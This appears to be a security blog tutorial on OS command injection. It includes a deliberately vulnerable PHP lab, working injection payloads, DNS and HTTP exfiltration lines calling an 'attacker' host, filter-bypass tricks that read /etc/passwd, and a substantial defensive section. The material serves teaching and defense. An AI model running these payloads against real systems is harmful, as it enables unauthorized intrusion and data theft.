OS Command Injection: From Shell Metacharacters to Blind Exfiltration and Filter Bypass

Web Exploitation
Time it takes to read this article 5 minutes.

Disclaimer: This article is for education and authorized testing only. Run these techniques exclusively against systems you own or have explicit written permission to assess. Unauthorized testing is illegal in most jurisdictions.

Introduction

OS command injection (OWASP A03:2021 Injection, CWE-78) happens when an application passes attacker-controlled input into a system shell without proper neutralization. The result is direct, often unauthenticated, code execution on the host — frequently the highest-impact bug you can find on a web target.

In this post you'll learn how the shell parser turns user input into command execution, how to detect injection when there is no output to look at (blind injection), and how to defeat naive input filters using ${IFS} and other tricks. We close with a blue-team section that carries equal weight, because knowing how to fix this is as important as knowing how to exploit it.

How It Works

When code such as the following runs, the application hands a string to a shell interpreter (/bin/sh -c on Linux, cmd.exe /c on Windows):

// Vulnerable PHP — passes raw user input to the shell
$host = $_GET['host'];
system("ping -c 1 " . $host);
PHP

The shell does not see "an argument to ping" — it sees a command line. Shell metacharacters change the meaning of that line. The important ones:

Metacharacter Behavior
; Command separator — run sequentially
| Pipe stdout of left into stdin of right (also chains)
& Run in background / && runs right only if left succeeds
|| Run right only if left fails
` / $() Command substitution — execute inline
\n (%0a) Newline acts as a separator

So a request like ?host=127.0.0.1;id becomes ping -c 1 127.0.0.1;id, and id runs as the web server user. Substitution payloads like ?host=$(id) are useful when separators are filtered but the value is embedded somewhere reflected.

Prerequisites / Lab Setup

You can reproduce everything below with a tiny local lab. Never expose it to the internet.

mkdir cmdi-lab && cd cmdi-lab
cat > app.php <<'EOF'
<?php
$host = $_GET['host'] ?? '127.0.0.1';
echo "<pre>";
system("ping -c 1 " . $host);
echo "</pre>";
EOF
php -S 127.0.0.1:8080
Bash

Useful tooling on the attacker side:

  • curl for crafting requests
  • A listener for out-of-band callbacks: nc -lvnp 9001, or Burp Collaborator / interactsh-client for DNS/HTTP exfil
  • commix (commixproject) for automated detection — but learn the manual method first

Attack Walkthrough

1. Confirm in-band injection

If output is reflected, separators give immediate proof:

curl 'http://127.0.0.1:8080/app.php?host=127.0.0.1;id'
curl 'http://127.0.0.1:8080/app.php?host=127.0.0.1%26%26id'   # URL-encoded &&
Bash

A response containing uid=33(www-data) confirms execution.

2. Blind injection — time-based

Frequently the command runs but its output is discarded. This is blind command injection. The most reliable detector is a time delay: inject sleep and measure the response.

# Baseline vs. delayed — compare the total time
time curl -s 'http://127.0.0.1:8080/app.php?host=127.0.0.1'
time curl -s 'http://127.0.0.1:8080/app.php?host=127.0.0.1;sleep+5'
Bash

A consistent ~5s delay (and ~0s without it) proves execution. On Windows targets use ping -n 6 127.0.0.1 as a portable delay primitive.

3. Blind injection — out-of-band (OOB)

Time-based extraction is slow. If the host has outbound network access, exfiltrate via DNS or HTTP to a server you control:

# DNS exfil — encode command output into a subdomain label
curl 'http://target/app.php?host=x;nslookup+`whoami`.<id>.oast.fun'

# HTTP exfil of a file, base64-encoded to survive transit
curl 'http://target/app.php?host=x;curl+http://attacker:9001/?d=$(id|base64)'
Bash

Watch the callback on your listener. OOB is the go-to when the box is firewalled for inbound but allows egress — a very common real-world posture.

4. Filter bypass with IFS and friends

Defenders often blacklist spaces or specific characters. The shell's IFS (Internal Field Separator) variable defaults to space/tab/newline, so ${IFS} substitutes for a space the filter never sees literally:

# Space blocked? Use ${IFS}
?host=127.0.0.1;cat${IFS}/etc/passwd

# Brace expansion avoids spaces entirely
?host=127.0.0.1;{cat,/etc/passwd}

# Tab via $IFS sliced, or the literal %09 in the URL
?host=127.0.0.1;cat$IFS$9/etc/passwd
Bash

When keywords like cat or /etc/passwd are filtered, break them up so the literal string never appears in input:

# Concatenation / quote insertion — shell ignores empty quotes
?host=127.0.0.1;c''at /e't'c/pa'ss'wd

# Wildcards dodge full path strings
?host=127.0.0.1;cat /et?/passw?

# Build strings from variables or encode the whole command
?host=127.0.0.1;echo${IFS}aWQK|base64${IFS}-d|sh
Bash

For newline-based separation when ;, |, and & are all stripped, URL-encode a line feed (%0a) — the shell treats it as a command boundary. This pattern overlaps with techniques in WAF and input filter bypass, and once you have a foothold you'll want a reverse shell cheat sheet to upgrade access.

Attack Flow

OS Command Injection: From Shell Metacharacters to Blind Exfiltration and Filter Bypass diagram 1

Diagram: locate the shell sink, decide between in-band/blind and OOB/time-based extraction, then apply filter bypasses until you reach full command execution.

Detection & Defense (Blue Team)

Command injection is fully preventable. The single most effective fix is to never invoke a shell at all — pass arguments as an array to an exec API so no parser interprets metacharacters.

# UNSAFE — string goes to /bin/sh -c
import os, subprocess
subprocess.run(f"ping -c 1 {host}", shell=True)   # do NOT do this

# SAFE — argv array, no shell, host is just one argument
subprocess.run(["ping", "-c", "1", host], shell=False, timeout=5)
Python

Layered defenses:

  • Avoid the shell. Use library/API equivalents instead of shelling out (e.g., a native ping or HTTP library). shell=False / execve-style argv arrays in Python, child_process.execFile (not exec) in Node.js, ProcessBuilder in Java.
  • Strict allowlisting. If a value must reach a command, validate against a tight positive pattern — for a hostname, ^[a-zA-Z0-9.-]+$. Reject, don't sanitize.
  • Least privilege. Run the web process as an unprivileged account with no shell, and apply seccomp/AppArmor/SELinux profiles so even successful injection can't spawn /bin/sh.
  • Egress filtering. Block outbound DNS/HTTP from app servers to defeat OOB exfiltration that time-based-only WAFs miss.

Detection. Map this to MITRE ATT&CK T1059 (Command and Scripting Interpreter). High-value signals:

  • A web/app service process (e.g., www-data, apache, IIS app-pool) spawning sh, bash, nslookup, curl, whoami, or powershell as a child. Hunt this with auditd/Sysmon (Event ID 1 — process creation) and EDR parent-child rules.
  • Inbound requests containing ;, |, &, `, $(, ${IFS}, %0a, or base64 -d. Surface these in WAF/ModSecurity CRS logs (rule family 932xxx).
  • Anomalous outbound DNS with long, high-entropy subdomain labels — a classic OOB exfil fingerprint.
# Example auditd rule: alert when www-data spawns a shell
auditctl -a always,exit -F arch=b64 -S execve -F uid=33 -F exe=/bin/sh -k cmdi
Bash

Remember that WAF signatures are mitigation-of-last-resort, not a fix — the ${IFS} and quote-insertion tricks above exist precisely to evade them.

Conclusion

OS command injection collapses the gap between "user input" and "code execution" because a shell re-parses everything it's handed. Offensively, your workflow is: find the sink, prove execution (in-band, then blind via sleep or OOB), and peel back filters with ${IFS}, brace expansion, wildcards, and encoding. Defensively, the cure is structural — drop the shell, use argv arrays, allowlist inputs, and constrain the process so a single mistake can't become full RCE. Pair that with parent-child process monitoring and you turn a critical bug into a detectable, contained event.

References

Comments

Copied title and URL